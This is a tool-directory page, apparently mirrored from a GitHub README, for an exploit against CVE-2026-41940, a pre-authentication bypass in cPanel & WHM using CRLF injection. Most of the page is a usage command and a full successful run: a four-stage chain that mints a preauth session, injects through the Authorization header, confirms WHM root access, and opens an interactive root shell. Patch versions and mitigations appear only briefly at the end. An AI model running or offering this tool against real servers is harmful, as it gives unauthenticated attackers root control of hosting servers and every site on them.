Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-41940 — CVE-2026-41940 | Kitploit
Tools/GitHubGitHub/0xblackash/cve-2026-41940
Authentication & AuthorizationVulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationPenetration TestingCommand and ControlRed Teaming
GitHub0xblackash/cve-2026-41940

CVE-2026-41940

CVE-2026-41940

View Repository
144 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

⚠️ CVE-2026-41940 - cPanel & WHM Authentication Bypass

ChatGPT Image May 1, 2026, 08_27_37 PM
CVSS 9.8 Critical Actively Exploited

Critical Pre-Authentication Bypass in cPanel & WHM


📌 Overview

CVE-2026-41940 is a critical authentication bypass vulnerability affecting cPanel & WHM and WP Squared.

An unauthenticated remote attacker can completely bypass login and gain full administrative (root/WHM) access to the server.

The flaw was actively exploited in the wild before the patch was released.


🎯 Severity


🛠️ Affected Products

  • cPanel & WHM — All versions after 11.40 until patched
  • WP Squared — Versions prior to 136.1.7

~1.5 million cPanel instances were potentially exposed at the time of disclosure.


🔥 Impact

Successful exploitation allows attackers to:

  • Gain full WHM/root access
  • Take over all hosted websites and accounts
  • Modify server configurations
  • Exfiltrate sensitive data
  • Deploy persistent backdoors

✅ Here's what SUCCESS looks like (like the Eye Security screenshot you showed):

You should see something like this if it works:

root@kitploit:~
┌──(kali㉿kali)-[~]
└─$ sudo python3 CVE-2026-41940.py -u https://xx.xx.xx.xx:2087 --action shell                      
[sudo] password for kali: 


 ██████╗ ██╗  ██╗██████╗ ██╗      █████╗  ██████╗██╗  ██╗ █████╗ ███████╗██╗  ██╗
██╔═████╗╚██╗██╔╝██╔══██╗██║     ██╔══██╗██╔════╝██║ ██╔╝██╔══██╗██╔════╝██║  ██║
██║██╔██║ ╚███╔╝ ██████╔╝██║     ███████║██║     █████╔╝ ███████║███████╗███████║
████╔╝██║ ██╔██╗ ██╔══██╗██║     ██╔══██║██║     ██╔═██╗ ██╔══██║╚════██║██╔══██║
╚██████╔╝██╔╝ ██╗██████╔╝███████╗██║  ██║╚██████╗██║  ██╗██║  ██║███████║██║  ██║
 ╚═════╝ ╚═╝  ╚═╝╚═════╝ ╚══════╝╚═╝  ╚═╝ ╚═════╝╚═╝  ╚═╝╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝
  CVE-2026-41940 — cPanel & WHM Auth Bypass via CRLF Injection
  4-stage: preauth → CRLF inject → propagate → verify → post-exploit
  Author : Ashraf Zaryouh / @0xBlackash

  Configuration:
   Targets  : 1
   Threads  : 10
   Timeout  : 15s
   Action   : shell

13:41:18 [SCAN] Starting 4-stage exploit chain... https://xx.xx.xx.xx:2087
13:41:19 [INFO] Canonical hostname discovered: server.xxxxxxx.xx
13:41:19 [INFO] Canonical: server.softsms.in
13:41:19 [STEP] Stage 1/4 — Minting preauth session...
13:41:20 [  OK] Stage1: preauth session = :W43DhFApxxxD8Jdw...
13:41:20 [STEP] Stage 2/4 — CRLF injection via Authorization header...
13:41:21 [  OK] Stage2: HTTP 307 → token=/cpsess263xxxx267
13:41:21 [STEP] Stage 3/4 — Firing do_token_denied gadget (raw→cache)...
13:41:22 [  OK] Stage3: HTTP 401 — do_token_denied gadget fired
13:41:22 [STEP] Stage 4/4 — Verifying WHM root access...
13:41:24 [INFO] Stage4: HTTP 200  {"version":"11.86.0.40"}
13:41:24 [PWND] CVE-2026-41940 CONFIRMED — WHM root access!  https://xx.xx.xx.xx:2087
13:41:24 [PWND]   Token    : /cpsess2634xxxx267
13:41:24 [PWND]   Session  : :W43DhFApxxxD8Jdw...
13:41:24 [PWND]   Version  : 11.86.0.40
13:41:24 [PWND]   API URL  : https://xx.xx.xx.xx:2087/cpsess2634xxxx267/json-api/version
13:41:24 [ API] Running post-exploit action: shell

════════════════════════════════════════════════════════════
  WHM Shell — server.xxxxxxx.xx
  Version: CVE-2026-41940 | Auth: CRLF bypass
  Type 'help' for commands, 'exit' to quit
════════════════════════════════════════════════════════════

[email protected] ▶ id
13:41:28 [ API] gethostname → HTTP 500
  uid=0(root) gid=0(root) groups=0(root)
[email protected] ▶ exit
Exiting shell.

══════════════════════════════════════════════════════════════════════
  CVE-2026-41940.py — CVE-2026-41940 Scan Complete
  Time: 13.9s  ·  Targets: 1
──────────────────────────────────────────────────────────────────────

  ⚡ 1 VULNERABLE TARGET(S)

  Target   : https://xx.xx.xx.xx:2087
  Version  : 11.86.0.40
  Token    : /cpsess263xxxx267
  API URL  : https://xx.xx.xx.xx:2087/cpsess2634xxxx267/json-api/version
  Session  : :W43DhFApxxxD8Jdw...
  Evidence : {"version":"11.86.0.40"}

══════════════════════════════════════════════════════════════════════


✅ Fixed Versions

Patched on April 28, 2026

  • Update cPanel & WHM to the latest build
  • Update WP Squared to version 136.1.7 or newer

Immediate Action Recommended


🛡️ Mitigation & Protection

  • Update immediately to the latest version
  • Block public access to ports 2082, 2083, 2086, 2087
  • Enable WAF rules (Cloudflare, ModSecurity, etc.)
  • Use IP allowlisting or VPN for management access

📚 References

  • NVD - CVE-2026-41940
  • watchTowr Labs - Technical Deep Dive
  • cPanel Official Security Advisory
  • CISA KEV Catalog


Made with ❤️ for the security community

Last Updated: May 2026

Download Tool
MetricValue
CVSS 3.1 Score9.8 (Critical)
CVSS 4.0 Score9.3 (Critical)
Attack VectorNetwork
ComplexityLow
PrivilegesNone
User InteractionNone